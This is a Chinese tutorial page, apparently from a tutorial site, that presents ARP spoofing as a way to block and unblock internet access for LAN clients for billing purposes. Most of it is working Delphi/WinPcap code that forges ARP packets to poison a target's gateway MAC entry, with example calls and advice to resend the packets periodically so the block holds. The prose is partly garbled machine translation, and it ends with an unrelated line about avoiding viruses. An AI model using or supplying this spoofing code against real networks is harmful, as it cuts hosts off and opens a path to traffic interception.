明辉手游网中心:是一个免费提供流行视频软件教程、在线学习分享的学习平台!

使用arp欺骗来完成计费技巧

[摘要]早些时候收到了项目的要求, 任何局域网络内的一台计算机上安装一套计费软件, 其他客户不必安装任何软件, 只要客户接入线路将能够发挥的帐单。 以前接触到的计费软件是安装在网关, 或安装客户端软件, ...
早些时候收到了项目的要求, 任何局域网络内的一台计算机上安装一套计费软件, 其他客户不必安装任何软件, 只要客户接入线路将能够发挥的帐单。 以前接触到的计费软件是安装在网关, 或安装客户端软件, 如何实现这样的功能?有关研究发现, 使用欺骗ARP协议的原则才能实现的结算职能, 原则上是不公开上网功能的客户端插件线网络, 第一个禁止在计算机局域网络内的互联网, 如客户要求管理员, 以开放的互联网功能后, 取消对客户停止并开始计费。 ARP协议欺骗人民不认为奇怪, 有很多网上介绍ARP协议欺骗的文章, 有很多ARP协议欺骗病毒不会在这里重复的原则, 欺骗ARP协议。

       如何防止局部地区指定的客户端互联网?

阿尔普伪造的要求, 设置包的机器停止对ARP表, 这样的观点, 网关MAC地址并不存在作为一个MAC地址, 这样你就可以阻止机器上网。

假设要阻止的计算机是A, 安装计费软件的计算机是B,网关是C

A机器  MAC:AA-AA-AA-AA-AA-AA  IP地址:192.168.1.1

B机器  MAC:BB-BB-BB-BB-BB-BB  IP地址:192.168.1.2

C网关  MAC:CC-CC-CC-CC-CC-CC  IP地址:192.168.1.253

在网上有好多arp例子都是c的, 我用delphi和Winpcap实现代码如下:

 

安装Winpcap, 引用:winsock, Packet32, shellapi单元

类型和常量定义:

type

  TMacAddr = array [0..5] of byte ;

  TEHHDR=packed record

     Ether_Dest: TMacAddr ;  {目的地址 }

     Ether_Src: TMacAddr ;   {源地址 }

     Ether_Type:Word;        {类型 }

  end;

  PEHHDR=^TEHHDR;

  TEtherData=packed record      {Ethernet packet data}

   Ether_hrd:WORD;       {hardware address }

   Ether_pro:WORD; {format of protocol address }

   Ether_hln: byte; {byte length of each hardware address }

   Ether_pln: byte; {byte length of each protocol address}

    Ether_op:WORD; { ARP or RARP }

     Ether_sha:TMacAddr; {hardware address of sender}

     Ether_spa:LongWord; {protocol address of sender}

     Ether_tha:TMacAddr; {hardware address of target}

     Ether_tpa:LongWord;   {protocol address of target}

  end;

  PARPHDR=^TEtherData;

  TARPPACKET=packed record

      EHHDR:Tehhdr;

      EtherData:TEtherData;

   end ;

 PARPPACKET=^TARPPACKET;

const

 INADDR_NONE = $FFFFFFFF;

 EPT_IP  = $0800;

 EPT_ARP = $0806 ;

 EPT_RARP =$8035 ;

 ARP_REPLY =$0002 ;

 ARP_REQUEST =  $0001 ;

 ARP_HARDWARE =$0001 ;

 function inet_addr(const cp: PChar): DWord; stdcall; external 'WS2_32.DLL' name 'inet_addr';

//别人的代码

function     HexStrtoInt(var   Buf:   string):   dword;

  //将十六进制的字符串转成整型

      //判断是否是十六进制数

      function   IsHexChar(Chr:   char):   boolean;

      begin

          Result   :=   (Chr   in   ['0'..'9'])   or   (Chr   in   ['A'..'F']);

      end;

      //将一个十六进制字符转换成数

      function   HexChrtoInt(Chr:   char):   byte;

      begin

          Result   :=   0;

          case   Chr   of

              '0'..'9'   :   Result   :=   Strtoint(Chr);

              'A'             :   Result   :=   10;

              'B'             :   Result   :=   11;

              'C'             :   Result   :=   12;

              'D'             :   Result   :=   13;

              'E'             :   Result   :=   14;

              'F'             :   Result   :=   15;

          end;

      end;

  var

      BufLength:   dword;

      TempBuf:   string;  

      Count0:   dword;  

  begin

      Result   :=   0;  

      BufLength   :=   Length(Buf);

      TempBuf   :=   '';  

      if   BufLength   >   0   then   begin

          Buf   :=   Uppercase(Buf);  

  //         for   Count0   :=   1   to   BufLength  

          if   BufLength   mod   2   =   1   then   begin  

              Buf   :=   '0'   +   Buf;  

              BufLength   :=   Length(Buf);

          end;

          for   Count0   :=   1   to   BufLength   div   2   do  

              if   IsHexChar(Buf[Count0   *   2   -   1])   then   begin  

                  if   IsHexChar(Buf[Count0   *   2])   then   begin  

                      TempBuf   :=   TempBuf   +   inttostr(HexChrtoInt(Buf[Count0   *   2   -   1])

  *   16   +   HexChrtoInt(Buf[Count0   *   2]));

                  end   else   begin

                      Result   :=   Count0   *   2;  

                      Break;  

                  end;  

              end   else   begin

                  Result   :=   Count0   *   2   -   1;  

                  Break;  

              end;

          if   Result   =   0   then   Buf   :=   TempBuf;

      end;

  end;

//MAC转换

procedure GetMac(s : string;var Mac : TMacAddr);

  var

  hs : string;

  p : integer;

  i,j:integer;

begin

 FillChar (Mac, SizeOf (Mac), 0) ;

  i:=0;

  if Length(s)=0 then

    Exit;

  p:=Pos('-',s);

  while P<>0 do

  begin

    hs:=Copy(s,1,p-1);

    HexStrtoInt(hs);

    Mac[i]:=  strtoint(hs) ;

    Delete(s,1,p);

    p:=Pos('-',s);

    i:=i+1;

  end;

  if Length(s)>0 then

  begin

     HexStrtoInt(s);

     Mac[i]:=strtoint(s);

  end;

end;

 

{禁止上网, 发送arp请求包,这里的C_mac为伪造的C的mac地址}

procedure SendArp(A_ip:string;A_mac:string;B_ip:string;B_mac:string;C_IP:string;C_mac:string);

var

ulMACAddr: TMacAddr;

EHHDR:TEHHDR;

EtherData:TEtherData;

pp:pPacket;

lpAdapter:Padapter;

BUF:Array [0..512] of char ;

begin

    //以太网包首部

    GetMac(A_mac,ulMACAddr);

    Move(ulMACAddr , EHHDR.Ether_Dest,6);//目的地址-A计算机的地址

    GetMac(C_mac,ulMACAddr);

    Move(ulMACAddr , EHHDR.Ether_Src,6);//伪造的源地址-C计算机的地址

    EHHDR.Ether_Type  := htons(EPT_ARP);//arp包

   

    //构造以太网包数据

    EtherData.Ether_hrd := htons(ARP_HARDWARE);

    EtherData.Ether_pro := htons(EPT_IP);

    EtherData.Ether_hln := 6;

    EtherData.Ether_pln := 4;

    EtherData.Ether_op  := htons(ARP_REQUEST);//arp请求包

    GetMac(C_mac,ulMACAddr);

    Move(ulMACAddr , EtherData.Ether_sha,6);

    EtherData.Ether_spa := inet_addr(Pchar(B_IP));  

    GetMac(B_mac,ulMACAddr);

    Move(ulMACAddr , EtherData.Ether_tha,6);

    EtherData.Ether_tpa := inet_addr(Pchar(B_ip));  

     lpAdapter := PacketOpenAdapter('\Device\NPF_{E00872C1-37C0-47CE-8472-313A5A23F896}');  // 根据

你网卡名字打开网卡, 这是我网卡的设备名

     fillchar(BUF,sizeof(BUF),0);

     CopyMemory(@BUF,@EHHDR,SIZEOF(EHHDR));

     CopyMemory(Pointer(LongWord(@BUF)+SIZEOF(EHHDR)),@EtherData,SIZEOF(EtherData));

       // 分配内存

     pp := PacketAllocatePacket();            

     //初始化结构指针

     PacketInitPacket(pp, @BUF,512);

     //发arp应答包

     PacketSendPacket(lpAdapter, pp, true);

     

     // 释放内存

     PacketFreePacket(pp);

     PacketCloseAdapter(lpAdapter);

end;

//调用示例

  SendArp('192.168.1.1','AA-AA-AA-AA-AA-AA','192.168.1.2','BB-BB-BB-BB-BB-BB','192.168.1.253','00-00-00-00-00-00');

{解除阻止, 发送arp应答包,这里的C_mac为真实的C的mac地址}

procedure SendArpReply(A_ip:string;A_mac:string;C_ip:string;C_mac:string;B_mac:string);

var

ulMACAddr: TMacAddr;

EHHDR:TEHHDR;

EtherData:TEtherData;

pp:pPacket;

lpAdapter:Padapter;

BUF:Array [0..512] of char ;

begin

    GetMac(A_mac,ulMACAddr);

    Move(ulMACAddr , EHHDR.Ether_Dest,6);

    GetMac(B_mac,ulMACAddr);

    Move(ulMACAddr , EHHDR.Ether_Src,6);

    EHHDR.Ether_Type  := htons(EPT_ARP);

    EtherData.Ether_hrd := htons(ARP_HARDWARE);

    EtherData.Ether_pro := htons(EPT_IP);

    EtherData.Ether_hln := 6;

    EtherData.Ether_pln := 4;

    EtherData.Ether_op  := htons(ARP_REPLY);//arp应答包

    GetMac(C_mac,ulMACAddr);

    Move(ulMACAddr , EtherData.Ether_sha,6);

    EtherData.Ether_spa := inet_addr(Pchar(C_ip));  

    GetMac(A_mac,ulMACAddr);

    Move(ulMACAddr , EtherData.Ether_tha,6);

    EtherData.Ether_tpa := inet_addr(Pchar(A_ip));  

     // 根据自己网卡的设备名打开网卡

     lpAdapter := PacketOpenAdapter('\Device\NPF_{E00872C1-37C0-47CE-8472-313A5A23F896}');

   

     fillchar(BUF,sizeof(BUF),0);

     CopyMemory(@BUF,@EHHDR,SIZEOF(EHHDR));

     CopyMemory(Pointer(LongWord(@BUF)+SIZEOF(EHHDR)),@EtherData,SIZEOF(EtherData));

     // 分配内存

     pp := PacketAllocatePacket();            

     //初始化结构指针

     PacketInitPacket(pp, @BUF,512);

     //发arp应答包

     PacketSendPacket(lpAdapter, pp, true);

     

     // 释放内存

     PacketFreePacket(pp);

     PacketCloseAdapter(lpAdapter);

end;

//调用示例

 SendArpReply('192.168.1.1','AA-AA-AA-AA-AA-AA','192.168.1.253','CC-CC-CC-CC-CC-CC','BB-BB-BB-BB-BB-BB');

需要注意的是, 发出伪造的arp请求包过一段时间后会被刷新为正确的, 所以每隔一段时间要向被阻止的机器发送一个arp包, 这样才能达到阻止上网的目的。


上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。